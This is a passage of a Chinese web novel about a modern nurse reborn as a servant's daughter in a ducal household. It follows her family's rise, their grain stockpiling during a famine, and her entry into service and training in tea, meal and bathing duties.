每旬休息时,万氏就会指点她刺绣,惜娘知道,她娘是希望她能够在府里混出头,将来主人家万一高兴,求个恩典放她嫁出去,从此做寻常夫妻,不能代代都是人家的奴才。 惜娘前世是散养长大的,资质还不错,就是没人管,没人规划,如今有爹娘打算,她真的很幸福! 5. 机会 何大魁做了这个门房副管事后,在整个镇国公府算不得什么,就是门房上的人嫌弃他资历浅,并不那么奉承他,但在何家算是一件大喜事了。 除了何家大房母子俩专门过来道贺,三房何大利夫妻也都来了一趟,孙兰香薅着万氏的衣袖问东问西的,便是何大利也道:“二哥这是攀上哪路神仙了?” 门房副总管,虽然比不得人家管地、管账房铺面的,但是外地的官员、商户、勋贵,那些门包就拿的手软,油水也多,算是一个好去处了。 何大魁摆手:“不过是暂时代替人家,什么哪路神仙?我最不喜欢搞这些了。”他跟那么些官员说了,让他们说好话,也不知道是谁说的。 但他可以确定,他这个副总管算是确定下来了,可家里还是许多用钱的地方,他们家这宅子是个西晒,每逢夏天苦不堪言,地方又小,愈发住不得人。正好看中了一座宅子,一共要一百二十两,门脸两间,到底三层还带一个跨院做厨房。 一层做儿子住,一层给女儿住,还有一层他们夫妻住着。 除却宅子,还要置办些产业,否则差事来来去去,日后总有个进项,不至于不去府里上差,人就饿死了。 只不过要攒这些钱,三五年才能攒下,哪里好和人家说? 何大利夫妻没问出个什么,倒是在他哥子家吃了一大餐,恨不得吃个屁股尿流,方才回去。那孙兰香打了个嗝:“我总觉得老二这个差事来的不简单。” “他肯定是攀上谁了?只可惜都是兄弟,他倒是什么也不与我们说,生怕我们讨了那个巧宗去,日后咱们的事也不必说给他听。”何大利还防备了起来。 万氏背后也在说老三夫妻:“他们来这里跟盘查犯人似的,也不知怎地?” 何大魁冷笑:“他们俩口子攀上了二老爷的新宠,打量我不知道呢?二太太是个多病的人,院子都交给妾侍们帮忙管着,那姚姨娘如今正管着二房,她是外头来的,正缺臂膀,这俩口子跟着姚姨娘混着,正经差事不做,只去新宠那里献媚。” “妻妾之间的事情他们倒也好沾。”万氏摇头。 何大魁道:“他们是只顾眼前的人,如今俏姐儿去了老太太那里,俩口子越发觉得自己做的是多的。” 在何大魁看来,先别想着攀附谁,就像他做门房,先把自己的事儿做好,再求得人家帮忙说几句好话,在门房也是什么都拿得起,这样他做了副总管,人家只是不满他的资历,却没有不满他才干的。 但门房登记造册,会写字的也不过三个人,他就是其中一个,平日他们要写信还得找自己,所以他地位超然。 到了清明,连着下了三天小雨,空气中氤氲着一股草木的清新,但推门出去就不同了,街上污水积在那水坑里,一股臭味。 惜娘捂着鼻子,跳过各种坑坑洼洼。 何大魁送他们俩去学堂,给他们俩一人又多买了一张芝麻饼,惜娘正小口吃着,看到何松跑了过去和他的小伙伴憨胖儿说话,平日他俩个说好久的话,都叽叽咕咕,还得惜娘和何大魁催促,今天憨胖儿说了会儿,就被他家人拉走了。 就连何松也很沮丧,惜娘忙问:“哥哥,你怎么了?” “憨胖儿要给人家做替身去了,日后就得在那儿做小道士了,我们俩再也不能见面了。”何松道。 何大魁道:“他家人怎么愿意的?我是不管主子给多少钱都是不愿意的。” 学堂今日上午学的是《内则》和《孝经》,中午吃的是糙米饭,一碟茄瓜,一碟白菘,里面仿佛菜都没洗干净,惜娘真是受不了,难得她这样不挑食的人都说:“怕是猪都比我们吃的好,这茄瓜干的都咬不下来,白菘烂的不成样子,还有这米,连陈米、糙米也不是,不知道是什么。” 杜秀才娘子见惜娘言语,就出来道:“好姑娘,你小人家不知道如今的年成,去年南边发大水,河北、山东出了蝗灾,河南今年决堤,山西又有鞑子来犯,米价多贵啊,哪里是我们这样受用得起的。” 惜娘背后“啐”了一口,饿的前胸贴后背了回来。 晚饭时,何大魁道:“她说的没错,但杜秀才教你们兄妹,一年我给二十两,前几日还找我饶了半石米,他浑家好意思说这个?” 惜娘则道:“爹,既然她说的有道理,不如咱们备些粮食在家,厨房里放不下,就往我房里放,万一到时候真干旱了,府里还自顾不暇呢?哪里能管咱们这些人。” 万氏笑道:“这倒不至于,刚生你哥哥那年也是灾年,府里也每五日发米过来的。” 惜娘想这大概就是为何有的人要投靠大户人家的缘故,至少一旦发生天灾人祸,也有地方庇护。 何大魁则对万氏道:“府上吃的米都是庄子上的,平日时常不够了才会找人采买,我抽空去附近粮店看看,买些米过来就是,你们母子三个半石米还要吃两三个月,不如我买两石来。” 既然何大魁都这般说,万氏当然没有意见,何大魁又和何大器还有何大利说了一回,至于他们听不听,便是自己的事情了。 何大魁次日就找人运了粮食回来,果不其然,还没到端午,外面粮价都涨疯了,大伯母已经来借粮了,万氏装了两斗米和刚蒸的六个馍馍给大伯母,惜娘则挖了两罐酱菜来。 本来这是无心之举,大伯母家和自家关系素来不错,以前两家都穷,谈不上什么帮衬,现下二房过的好些了,有余力也就帮把手。 要知道大伯母每回有什么好吃的,也会喊他们过去。 大伯母家也愿意和二房来往,每回大房帮什么忙,二房都会给吃的喝的,到了三房,那叫一个吝啬,不仅吝啬,连大房便宜也占。 尤其是孙兰香爱让何大伯帮他家用马车运这运那 ,一到重活累活就喊何大伯,把人家当牛马使,却一口水都不给喝。 何大伯母带着儿子回家去了,又把那馍馍给何大伯吃,不免道:“二弟妹真是厚道,说怕我拿多了,让人看到遭小偷,等会儿让大魁再送一袋米来。” “他现在在门房油水可多了,难怪能弄这么些的。”何大伯很羡慕。 大伯母道:“你好好谢人家就是了,人家那样也是人家愿意学,我听弟妹说他学写字比两个孩子还勤奋。” 可惜她们大房最勤奋的就是豆娘了,没人教导,这孩子在人家嬷嬷手底下硬是能吃苦,硬生生的熬了出来。 至于惜娘那边,看她爹晚上又运了两石粮食回来,装了半石去了大房,回来之后才道:“真没想到咱们府上账房在外面竟然还置办了田地。” “看来这些人都有自己的营生啊。”万氏羡慕道。 何大魁笑道:“是啊,可惜我没个人帮衬一下,要不然指不定我的位置再过几年能升一升就好了。” 万氏抿唇:“都是我不好。”别人都是女人在府内当差,男的在外当差,大家彼此相互提携,何大魁却是一个人单打独斗。 “这和你什么关系,我说的人家帮衬是指他娘老子,我爹娘去的早,也没法子了。”何大魁赶忙安慰万氏。 也因为何家二房存了粮食,即便灾荒之时,也没饿着谁,还救济了亲人。 国公府大太太苏氏因有几家女儿跟着三皇子妃进宫,有意照拂一二,便传了她们娘老子进去说话,大伯母张银娥也在此列,自然也说了一番家计艰难。 “我这里两个大丫头都出去配人,底下还缺几个丫头,不知你们家里还有没有女儿,送过来我看看?”大太太道。 张银娥则回话道:“回太太的话,小人家里只有一个儿子。”她其实还想说她还有个侄女儿,毕竟她是真心感谢二房的,但是又怕惜娘将来去了这样一个热灶,将来比她的豆娘混的更好,所以没提。 大太太道:“六少爷那里正缺个小厮,就让你儿子去吧。” 张银娥忙不迭的感激,但是回来之后难免良心不安,说句不好听的话,这个灾年,光靠着国公府那些粮食,她儿子绝对不会养的这样油光水滑的。 所以,她晚上过来二房,专门找万氏说道:“今儿大太太找我们进去,问我们家里情况,我听到一个消息,说大太太那里两个大丫鬟配了人,也有二等的缺,府上都在抢着那巧宗,还是快去走走门路,把你们惜娘送过去吧。” 万氏还很承她的情:“多谢嫂子告知。” 张银娥本来很心虚,毕竟人家在场的,家里没女儿的都把什么侄女外甥女算上了,她却没说,如今见万氏诚恳道谢,心道自己也没说假话,这消息也不是谁都知道的,现在她透露给她听,也算是给她们指了一条明路,也算是对得起她们那些粮食了。 6.马上进府 关乎到女儿的前途,万氏等张银娥离开之后,就进去和练字的何大魁说了,何大魁的笔顿了一下,才道:“太太那里的巧宗,我们哪里能抢到。太太的陪房、三皇子妃身边人的家人,咱们能怎么突围?罢了,先让她们俩读书。” “就怕机会稍纵即逝啊。”万氏不希望女儿去伺候姨娘或者不受宠的少爷小姐,她实在是见过太多。 不受宠的主子得的赏赐少,身边的人得到的赏赐也少。 你做奴才的人,也不是天生卑躬屈膝的人,当然是冲着赏赐多活少去的。大太太身边的位置,绝对是极好的位置。 何大魁笑道:“你没门路,无头苍蝇似的乱闯什么?太太身边的陪房若是肯替咱们说一句话,抵别人百句,我若能结交上,儿女前程不必愁,我若不成,她们日后也就勤勉些,该怎么样就怎么样?能干的人总会脱颖而出。” “好好好,都听你的。”万氏知道丈夫是个踏实的人。 何柏在二门上给六少爷做了小厮,平日进府听差,算得上混得不错了,何家大伯母也不必进去做那些脏活,算是托女儿的福,提携了一家子。 何大魁却想自己曾经还是死去三老爷的小厮呢?但是那又如何呢?三老爷一死,什么都没了,当时觉得天快塌了,可人到中年,反而逐渐开始发达。 可见穷达皆由命,何劳发叹声。但知行好事,莫要问前程。 孩子们还是要先读书,这句话还是惜娘告诉他的,比《春江花月夜》给他的启发更深,可见读书才更能懂这些道理。 时机未到,也不认识谁,贸然去谋一个好位置,恐怕会欲速则不达。 惜娘则还是在杜秀才那里上学,上半年《增广贤文》学礼仪道德,下半年无论是写信、做账本、学乘除之法。 到中秋时,账房总管胡会儿子成婚,以前这样的场合自然没有何大魁一席之地,这次人家却请了他,何大魁遂让万氏带着儿女一同赴宴。 到要做客,惜娘才头一回穿绸子衣裳,樱色的衫子、石绿色的褶裙,头上梳着双丫髻,簪着一对小小的珠花,对着铜镜照了一下,她还被自己美到了。 当然,她的相貌现下还有婴儿肥,但也能看出来自己算不得万氏这样的美人相貌,相貌只能算得中上,鹅蛋脸儿肌肤胜雪,眉不画而黑,底下是一双丹凤眼,最妙的是有一对梨涡,仿佛是脸上点睛之笔,显得十分甜美。 但是惜娘不满意自己的耳朵,耳垂太大了,学堂里人家给她取外号“大耳贼”,她靠着万氏撒娇:“娘亲,你怎么不替我梳个把耳朵藏起来的头发。” 万氏失笑:“小孩子恁多话,耳垂大才是有福气呢。” 胡总管管着整个账房,其妻胡会家的,是国公府四大管事媳妇之一,负责二门内家务,算是颇有势力的。 惜娘想古代除了科举之外,要出头其实还真的不容易,就奴字号的这些人中,还能分个三六九等。 胡会家的这等已经是奴字号的顶级了,家里住着三进的大院子,也有丫头子们服饰,连她家的窗户,都不是糊的纸,而是明瓦。 “娘,您看那绿色的雕花栏杆,上面雕的是玉兰和海棠。”惜娘小声道。 万氏笑道:“不奇怪,等你进了国公府呀,那更是一方天地了。” 何大魁带着何松到前面去,万氏则带着惜娘从二门进,由一个小丫头子领到了正房,惜娘知道她娘名叫素馨,姓万,但是到了这里,人家就直接喊何大魁家的。 胡会家的戴着冠子,身着绮罗,看起来十分富丽,不知道的以为是哪家官太太。 万氏忙让惜娘过来请安,惜娘上前福了一身:“给您请安了。” 胡会家的并不认识万氏,见她容貌着实不错,不由得夸道:“你就是何大魁家的啊,真是个十分标致的人物。”又夸惜娘:“规矩不错。” 又问万氏:“怎地不见你出来?难道是何总管不舍得?” 万氏故意咳嗽了两声:“我素来身子有些弱,便是教养两个孩子也有些力不从心,以至于我这个女儿不大懂规矩,就怕将来进府伺候,反倒是被主子们看不上。” 惜娘想她娘还是有些心急,大抵她和爹爹因为自身条件不同,行事也不同,母亲生得很漂亮,虽然也有带来不好的事情,但多半外貌好一些的人,在平常生活中是会有些优待的,所以万氏其实非常自信。 某种程度说话其实很直接,她觉得自己教出来的女儿虽然不说首屈一指,但规矩、模样、性情、才学也是中上,所以一招以退为进直入主题。 所以,惜娘立马作不好意思道:“娘,您在家里说说女儿就罢了,怎么在外面还这般说女儿呢?” 胡会家的见状就笑道:“我看你家女儿也是伶俐的人,指不定日后有大造化呢。” 万氏看到女儿的眼神,也反应过来,打了个哈哈。 她们说完话就坐在一旁了,她们也和一些管事娘子坐在一起,惜娘正和万氏说:“娘,您不必为女儿操心,今日事毕,日后指不定多少人也请爹爹,咱们能够常来往的。” “是啊,是我太着急了。”万氏因为容貌美丽,常年不出门,交际都弱了许多,她才知道自己少点静气。 席上很多都是南菜,什么玫瑰饼、马交鱼脯,惜娘吃了个肚圆。 回到家的时候肚子还撑的很,只能够在院子里走来走去,这样的席隔几日就会有,何大魁都带着家人去参加,逐渐也有些门道。 万氏发现有些人说的天花乱坠,结果只是把女儿介绍到二房的庶女处,对她们而言,她们家和三房的关系不错,如果要把女儿送到三房嫡出的三小姐那里还更便宜呢。 只不过,她们夫妻都不愿意女儿给小姐们做丫头,就怕将来一个不好,陪嫁出去。 若是嫁的近还好,小姐归宁,女儿也能回来,若是嫁的远,怕是日后永远不能再见。 她和丈夫抱怨 :“都吹的天花乱坠,见真章的少。” “那是肯定的,我还盼着一个能够收钱办事的人,至少人家真能办事,总比这些吹嘘的强。今日公主府那边的奇大爷过来,不知道是不是他心情好,赏了我五两银子,凑个十两给大太太的陪房邓福家的,让她有好事儿想着咱们女儿。”何大魁道。 万氏皱眉:“这么说你是想女儿到大房伺候了?再说邓福家的,她有这个能为吗?” 何大魁说出了心里的想法,“我早已打听过了,三房的五少爷虽然性子孤僻些,但是读书不错,肯定像他亲爹,日后指不定是个读书种子,我本来就是三房旧仆,求着把儿子送到三房那里,三太太是有名的菩萨,自然同意。” “日后若是五少爷能够读书读出来,咱们儿子好歹也能成个当用的。” “至于惜娘这里,能够去大太太那里,当然很好,再不济也有六少爷,他可是马上要开院子了。” 万氏知道镇国公府有个规矩,男孩子十岁(虚岁),就要单独开院。 不过,她也很奇怪:“三房的太太既然是菩萨,为何不把女儿送到三太太那里?” 何大魁立马道:“这又不同了,做丫头的,至高便是做妾,最不济的便是拉了配个浑浊的光棍。即便做妾,做六少爷的妾,总比五少爷的妾好,大太太是个有手段的人,不管出多大的事情,她能平息下来,三太太虽好,但她明哲保身都做不到,一件小事闹的被满府认诟病,她竟然无法辖制。松儿去三房,反正也是进不了二门,在外面伺候我能照看一二,可惜娘我怎么能照顾得了?再说了,鸡蛋总不能放在同一个篮子里。” 两人一起读书,女儿明显读书更聪明,心性更坚强,儿子到现在竟然好些字认不全,不是字写的斗大,就是发倒笔。 把能力平平的人放在高位,本身就是对他的折磨,还不如让他在三房亦步亦趋,慢慢积蓄自己的能力,而女儿在三房就太过明珠暗投了一些。 大抵是何大魁钱送的有效果,一有什么缺,邓福家的倒是哪处缺人和他说一声,当然,人家也不是完全保你上,也要主子过目。 就比方二小姐徐玉爱今年十二岁,身边缺个丫头,何大魁不同意,二小姐且庶出不庶出两说,再过几年就要出阁,女儿指不定跟着陪嫁走,那不成? 最后还是大太太那里还缺个人,前面那批进去的,已经在嬷嬷那里学了两轮规矩了,也有被淘汰了的,问她家愿不愿意? 何大魁当然同意了,也和女儿说了:“你的名字已经递上去了,明日我把你送到二门,你跟着邓福家的进去,能选得上很好,选不少再说,知道吗?” 惜娘本来还打算明日去读书呢,没想到这般匆忙,但她也知道机会本来就难得,她爹只是个中层管事,拼背景未必能真的拼得过人家,家里钱也不多,便是自己的相貌也不是顶出色,有这个机会,她要试一试才行! “好,女儿知道了!” 7.入府 事情往往就是来的这么突然,让人有些猝不及防,可这又是一个极好的机会。惜娘不免先跟万氏打听:“大太太她是个什么样的人呢?平日最不喜欢什么。” “大太太似乎不大喜欢那些太过夭调的人。”万氏慢慢的说起,还不由道:“不如把你大伯母喊来问问,到底豆娘在大小姐身边伺候过?” 惜娘却止住了:“娘,事情未成之前,千万别跟别人说了。等真的成了,再说也可以啊。” 她读大学的时候因为住的混寝,都是各个不同专业的,有人就是在公示期被身边平日最好的同学举报了,有时候人心真的很难说。 就比方她在农村长大,亲眼看到一家因为家里做了楼房,高兴了些,在房顶晒黄豆的时候唱歌,被邻居觉得太嘚瑟,晚上给他家鸡下药,几十只鸡全部毒死了。 更别提她自己,分数够上本科,但当年也有亲戚告诉她说学专科学费低,她差点准备报专科,后来咨询老师,老师建议她怎么着都要报本科,果不其然,后来才知道三甲医院都是要全日制本科的护士,专科护士一般在二甲医院或者乡镇医院,待遇各方面都不同。 有了本科这个学历,她打针的技术又十分高超,这样才慢慢逐步上升。 万氏没想到女儿这么谨慎:“你说的是,娘自小都没有亲人,看你大伯母平日人热情,没什么心眼,所以就想着多来往些。” 这不是万氏的错,万氏因为容貌问题,常常不能正常交往,一个正常人关在家里,又没个说话的人,大伯母常常过来说话,她当然没有防备心。 进府去就不能穿绸子衣裳了,惜娘身上穿着蓝布衫子、桃红的裙子,头上照旧梳了丫髻,也不用珠花,只用红线缠着,看起来清清爽爽的。 “去吧,别紧张,就按照我平日教你的。”万氏替女儿扯了扯衣裳。 惜娘踮起脚亲了她娘一口,又出去和何大魁一起出门,父女俩先从后街绕了一圈,见那正门有两个大的石狮子,左右两边摆着门戟,但人员多半从两边角门走。何大魁带着她先从就近的东角门进去,进去之后,绕过一排屋子,走上游廊,到了外庭,外庭中间有一条石径,旁边各放置数盏石灯。 何大魁解释道:“这不叫石灯,叫庭燎,晚上两边廨房有人办事,这里就会点上灯。” 惜娘很是讶异,她自己住的小区晚上也会在路径两边放路灯,原来古代就有了。穿过这里,才到了内院,那屋顶高高的,犹如鸟的翅膀一样,那房前站着几个嬷嬷,何大魁就止步了,上前把她交给一个颇为白胖的嬷嬷:“就劳烦匡嬷嬷了。” 本以为这就到了,那里知晓这里还不是真正的内院,只是招待人的地方,叫镇远堂。那匡嬷嬷人倒是挺好心介绍:“这里是国公府议事的地方。” “多谢嬷嬷告知。”惜娘笑道。 匡嬷嬷小声道:“千万别客气,我那小儿子,多蒙你爹爹抬举呢。” 紧接着从镇远堂出来,又过了一道仪门,仪门后的这座院子还不是正院,匡嬷嬷介绍:“这里平日宴请外客的,另外前面一个院子则是内宴厅。” 走过内宴厅,才到了正房,到了正房,大太太却不在正房住,而是在连接着正房的东院住。这个时候,匡嬷嬷让她在便门等。 惜娘看着这个东院,一共两进,正房也有五间,东西两边有厢房三间,各自搭着两间小房子,房前挂着画眉鹦鹉等鸟儿,再有她所在的便门正在中间,对面也是一个便门,两边是游廊,东边是几间屋子,西边则似乎是个膳房,因为那间房子上有个烟囱。 等的脚快酸了,才见匡嬷嬷小心的奉着一位遍身绮罗,头戴珠钗的妇人出来,惜娘还想着此人难道是大太太吗?但很快否认了,太太怎么会出来见她。 果然,这个人便是邓福家的,也就是太太的陪房,惜娘赶忙喊了一声:“邓大娘。” 匡嬷嬷介绍道:“你老看,这就是何副总管的女儿。” “好,看着倒也齐整,几岁了?何时留的头啊?家里还有什么人啊?”邓福家的问道。 惜娘一一答道:“回你老人家的话,我今年九岁上了,去年就留头了,家里除了父亲外,还有母亲哥哥。” 邓福家的件她说话时露出来的牙齿白,口齿伶俐,相貌看起来就是很有福气的样子,心中已然满意几分,又继续问道:“在家里学了些什么?” 她当然不会说自己识字,也不会说她和豆娘的亲戚关系,说白了,谁知道豆娘在大房有没有仇人,现下很低调的道:“在家里母亲就教了些针黹女红。”说罢便把身上的戴的荷包给她看。 邓福家的看着那荷包绣的很精巧,黑缎打底,上面绣桃榴蝙蝠,针线细密,她眉头舒展了些:“还算不错,跟我来吧。” 惜娘便跟着她身后走着,别看邓福家的方才在她们面前似个当家主母似的,很大的派头,但是到了次间也是很小心,躬着身子回话:“太太,这个丫头您看看。” 惜娘不敢左顾右盼,遂上前纳了个福,只听座上的人道:“走近些,我瞧瞧。” 惜娘这才知道大太太苏氏的模样,她穿着家常纱罗袍,手上戴着檀香串,看着比邓福家的还要素净,但她也不看多看,只盯着脚下的地毯。 本以为苏氏会问许多话的,没想到苏氏看了惜娘一眼,微不可察的点头,又让个嬷嬷带了惜娘下去。她才和邓福家的道:“我看这姑娘耳垂大,是个有福气的,就留下来,先让她跟着教引嬷嬷们学学规矩。你让那个谷家的丫头出去吧。” 邓福家的心想大太太也真是的,之前让几个跟着皇子妃去的丫头们的家人进门,打算从她们中间选几个丫头,结果送进来的几个,都不大成,还有偷东西的,要么就是谷家那个丫头,仗着生的好看,只会打扮。 但这样也是把人留下来了,邓福家的便出去让人和惜娘说一声,惜娘还没来得及和家里人道别,就跟另外两个小丫头一起跟着教引嬷 嬷学规矩。 这个消息传出去后,何大魁便托人带口信,让万氏收拾了惜娘的行李,托人带了进去。 惜娘看着人家送进来的两个包袱,给了他们二十个子儿的赏钱:“多谢两位妈妈。” 不知道万氏怀着什么心情帮自己收拾行李,她打开看了看,一个大包袱里装的是她的衣裳鞋袜,另一个小包袱里则是装着香皂、牙刷子、牙粉、梳子,当中还有油纸包的两个芝麻饼。 她抹了抹泪,忍不住想起她爹娘哥哥。 在一旁的丫头,名叫二喜的,她娘是太太从苏家带来的的陪房,现如今在二小姐那里做妈妈,她还有个姐姐,在小厨房做粗使,她人生的很清瘦,相貌仅仅清秀而已,十分的勤快。 再有一个丫头,名叫爱姐的,嘴倒是甜,对教引嬷嬷们各种婶子喊的亲热,但对那些粗使婆子又不耐烦,她也是大太太这边的世仆。 惜娘分了芝麻饼给她们,也自我介绍来:“我爹爹在门房做个副总管,母亲常年身体有些病,并没有进来做事。” 人嘛,有时候也要低调,但不能太低调。 二喜吃了她的芝麻饼,便笑道:“你是邓大娘带进来的,肯定也是和她们家有关系,不过你也有些运气,我们上个月进来被层层筛选了一次,这次进来又被盘问了半天,你这么一来,就直接进了。” 惜娘想她们哪里知道是因为大太太夸她的耳垂大呢?也就笑笑没做声。 她们这些小丫头吃的也是太太的小厨房的饭,都要自己去提,好在她们不是粗使丫头,是选进来伺候太太、小姐或者少爷的,所以拿的是三等丫头的份例,午膳是一荤一素两个馒头,荤菜是白菜猪肉,素菜是煎豆腐,肉只有两三片。 这让惜娘想起自家了,万氏的手艺可是很好的,虽然未必天天吃荤,但是每道菜都做的很可口。 甩甩头,自己若是混的好,爹爹的那个代副总管的“代”字指不定就能去掉了。 听说那些二等的丫头每天还能得一碟点心,主子们桌上的鸡鸭鱼肉也会分一些给她们,甚至一等的丫头,厨房还偶尔帮她们开小灶呢。 把饭吃完,教引嬷嬷们过来教她们伺候沐浴,“那浴桶是要提前刷干净的,刷干净之后,准备好浴汤,这浴汤要准备好花瓣几样,无论是茉莉花、玫瑰花或者兰花、桂花都成,看主子自己的喜好,除了花瓣,就是香料,用小白檀、甘松、藿香、丁香、沉香、白芷、白芍药,若是体乏时还能用艾草菖蒲,最后再滴一些玫瑰露、蔷薇露在里面。若是秋冬,皮肤太过干燥,还可以把蜜水放一些在里面。” 一个浴汤就听的惜娘头昏脑涨了,还别说什么擦身体要用细葛布,搓背用粗麻布,软绒帕用擦脸和脖颈。 这些万氏倒是没教她,惜娘只好借说自己描花样子,偷偷把这些记在纸上,毕竟好记性不如烂笔头。 写完后,她看到密密麻麻的一张纸,才感叹原来做丫头,也是不容易啊! 8.学规矩 这是惜娘来到这个大临朝之后,头一日在外面睡,而且发生得这么突然,她总有些翻来覆去的,很想家。 这辈子的爹娘虽然是古人,但其实比上辈子的爸妈还要好,她爸妈在她和哥哥都没结婚的时候还好,一直跟着她住,帮着她做点家事,平日去医院看病几乎都是她负责。但自从哥哥结婚后,妈妈不顾身体给哥哥带孩子,爸爸几乎也是过去帮忙,在那边帮忙帮累了,住院了,就要到自己的医院里,让自己照顾?生怕哥哥出一分钱。 这时候她才醒悟过来,其实爸妈一直重男轻女,只是平时看起来不明显,他们会为了哥哥考虑前程,千方百计的打听,知道帮哥哥报汉语言文学好考公,对她却一直夸懂事,她高考报名填志愿都是自己来的。 这辈子的爹娘难得对她很宠爱,真的是一心为了她的前途打算,也不知现在她爹娘怎么样了? 万氏此时也还没睡,她正捶了一下何大魁:“本来还以为咱们女儿今日会回来,没想到今天都没回来,你说说你办的这事儿……” “天地良心,我也不知道大太太让她留下来了啊。”何大魁大呼冤枉,他发现万氏只会欺负自己,倒是又转移话题:“也不知道咱们女儿能不能真的在太太身边伺候,若是能够,这便太好了。但总之女儿前程已定,倒是儿子那里,难办的紧啊。” 万氏道:“不如就去五少爷那边算了,再不成,就去你们门房当差。只是三太太真如你说的那样没手段吗?” 何大魁点头:“可不是,你也知道当初三老爷也是有几个妾的,她们又没生养,三太太分明是好心,这些人在三老爷生前斗的跟乌眼鸡似的,三老爷一死,也放她们出去。这样好的德政,偏偏被人造谣说她不容人,欺负妾侍。正常的消息是找出嚼舌根的人,直接打板子,她却四处花钱给人家好处,让人家说她好话,别人一看这人没手段,不知道说了多少闲话。连三老爷的死,都算在她身上,说是她太凶恶,总欺负人才导致的。” “这么荒谬?”万氏咋舌。 何大魁道:“是啊,府里小人多,平日不得志,偏偏能说闲话中伤曾经高高在上的主子,可不觉得快活吗?便是我们这些跟着辟谣的人,她也没扶持过,要不然我也不会沦落去做杂役。” 可万氏不解:“那为什么就欺负三太太呢?” “因为她守寡了啊,人又立不起来。”何大魁摊手。 夫妇二人谈到最后,何大魁就道:“罢了,就等机会吧,他这几日读书,你也督促紧一些,我看女儿上千上万算账都会,他一百以内还要嘀咕。” 万氏不敢马虎。 却说次日起来,惜娘咕噜喝了一碗稀饭,继续跟着教引嬷嬷学烹茶,嬷嬷们先教她们怎么奉茶、添茶、添茶时如何退下。 “烹茶前,袖口一定要扎紧,有些人她就为了图快,不扎,每次茶还没烹完,茶具倒是先碎了。”钱嬷嬷道。 教奉茶的钱嬷嬷,是个积年的老嬷嬷,不摆架子,人很风趣,大家都很喜欢她,现下听她说了,也都笑了。 钱嬷嬷又教她们怎么备器列案,茶壶、茶盏、茶巾、水盂怎么放都有讲究。 还教她们怎么置茶,何时候茶汤出汤,这些惜娘在家中虽然也跟万氏学过,但没有这么系统的学过,听二喜说,原来快十个人跟嬷嬷们学,有五个人笨手笨脚,就只能做粗活了,还有个病了,还有两个只爱打扮的,都出去了。 学泡茶、奉茶就学了三五日,夏天用凉炉,冬天用暖炉,暖炉要用硬木炭或者,炉子多是用陶、铜、锡做的,而凉炉则用紫砂壶这种轻薄胎体的,用的炭则是竹炭、松炭。 惜娘每日把自己知道的都记下来,就怕忘记。 当然,她们也要跟这里的大丫头学,说是大丫头,原本也是二等丫鬟刚升上去的,名唤锦绣。锦绣为人倒是不尖酸,进来府里已经五年了,她烹茶的时候,见惜娘看着,也教的还算认真。 惜娘前世就是个有心人,只要人家认真教她,她是不吝啬帮人家做事儿的,就比方浆洗房的衣裳,她就得帮锦绣拿去。 不过,她挠挠头:“锦绣姐姐,浆洗房在哪儿呀?” “我让老祝妈带你走一回,你可别到处跑啊。”锦绣嘱咐。 惜娘笑道:“是。” 浆洗房在后院的西北角,临近柴房,这里早上人倒是多,院子中间一口井,旁边摆着两口大缸,附近都是晾晒衣裳的地方,挂着各样的衣裳。 她在这里还遇到了抱着衣裳过来的堂姐何俏,何俏赶紧喊了她一声:“惜娘,你怎么在这里?” 惜娘笑道:“到了年纪,就进府来了啊。” “啊?那你在哪里伺候啊?”何俏问道。 惜娘摇头:“现下还没分地儿呢,只说让我们学规矩。我可不像姐姐,前程已经定了,还是去老太太那里。” “放心,日后你也肯定会好的。”何俏含笑。 惜娘也不和她拉呱了,毕竟她头一次到浆洗房,先把锦绣的衣裳给一个婆子,还问那婆子是谁,确定好了之后,方才离开。 她这么一回去,还得继续跟教引嬷嬷学奉膳,这又是钱嬷嬷教。 “咱们府上早膳是卯正时分,午膳是午正时分,晚膳是酉初时分,开饭之前,你们的指甲要干干净净的,一定要剪短,不能留指甲。” 惜娘等人都应:“是。” 钱嬷嬷又道:“主子说‘撤’,你们才能开始收拾,先撤主食,再撤空碟,最后倒剩菜,最后收拾碗筷撤桌。” …… 一上午学的人想打瞌睡,到了中午,饭吃完了,惜娘打着哈欠,靠在床边休息。见爱姐抱着一个旧布包进来,嘴里还嘟囔道:“你们俩倒好了,一个跟着锦绣,一个跟着碧瑶,都是不错的人,偏偏我跟的这个,裤子上弄上血了,还得我去浆洗房亲自洗去。” 其实浆洗房的 人也会帮着洗,但这种私密之物一般默认自己洗。 惜娘皱眉:“这不该吧?” 二喜也觉得过分:“你便是推说有事又怎地?” 爱姐抱怨归抱怨,还是道:“这又有什么法子呢。” 她都这样说了,旁人自然不好再说什么了,下午则跟教针线的嬷嬷学做鞋袜、荷包、扇套,那嬷嬷见惜娘劈线裁剪都上手很快,不免道:“你这丫头手艺还不错。” “都是嬷嬷教的好。”惜娘绝对不提她娘教过了。 这些嬷嬷们都是积年的老手艺,得她们教导,惜娘倒是受益无穷,甚至晚上,别人睡了,她也会多点一个时辰的灯,把锦绣要给太太做的中衣、衬裙、抹胸都接过来,一来帮太太做活,请教别人别人也会教,二来她正好把这些手艺学起来。 就这样一个月过去,惜娘从一开始听的懵懂,到现在能够帮锦绣大忙了,今日是钟家表小姐进府,她还要过来拜会大太太这位舅母,所以惜娘也跟着去茶房烧茶。 这位钟小姐身世跟红楼梦里林黛玉一样,也是母亲过世,父亲不打算续弦,徐老太太惦记外孙女,早派船接了人来。 不过,钟小姐还未到,倒是有位高表小姐投亲上门了,高小姐是镇国公原配高氏的侄女,高家原本也是有爵之家,但是传至三代,人丁凋敝,只和一个弟弟相依为命,据说族中长辈抢了她爹娘留下来的家当,还要卖她给人做妾,幸好她还有个乳母,接了她们出来,就投到镇国公府。 徐老太太素来怜贫惜老的,真个留她姐弟住下,都让世子夫人小程氏安排。 当然,这些小姐们的事情与惜娘无关,但她也很怕被调拨过去伺候高家姐弟,她们本来不是镇国公府的人,将来离开,若是带了自己出去,她岂不是和爹娘分离。 况且,就跟她毕业选单位一样,能选福利好的地方肯定想选福利好的地方,这样将来能攒下一笔体己。 所以,她要快些把这些活计学会,平日会单独烹茶,帮忙熨烫衣裳,打理床铺,也会给大太太单独做衣裳,反正就是能学的就学,尤其是在别人指导下做,和单独做,又是不一样。 她只想学本领,暂时没想过跟锦绣抢功,锦绣倒是过意不去,拿点心给她吃,也会和她说起一些闲话。 锦绣也好心同她道:“你若是早些来,太太这里还有位置,都被人占了。” “哦,那些人是跟着皇子妃去的家人的女儿吗?”惜娘问。 锦绣嗤之以鼻:“什么女儿,有的干女儿,有的是一表三千里的,只要沾亲带故的都报上来了。” 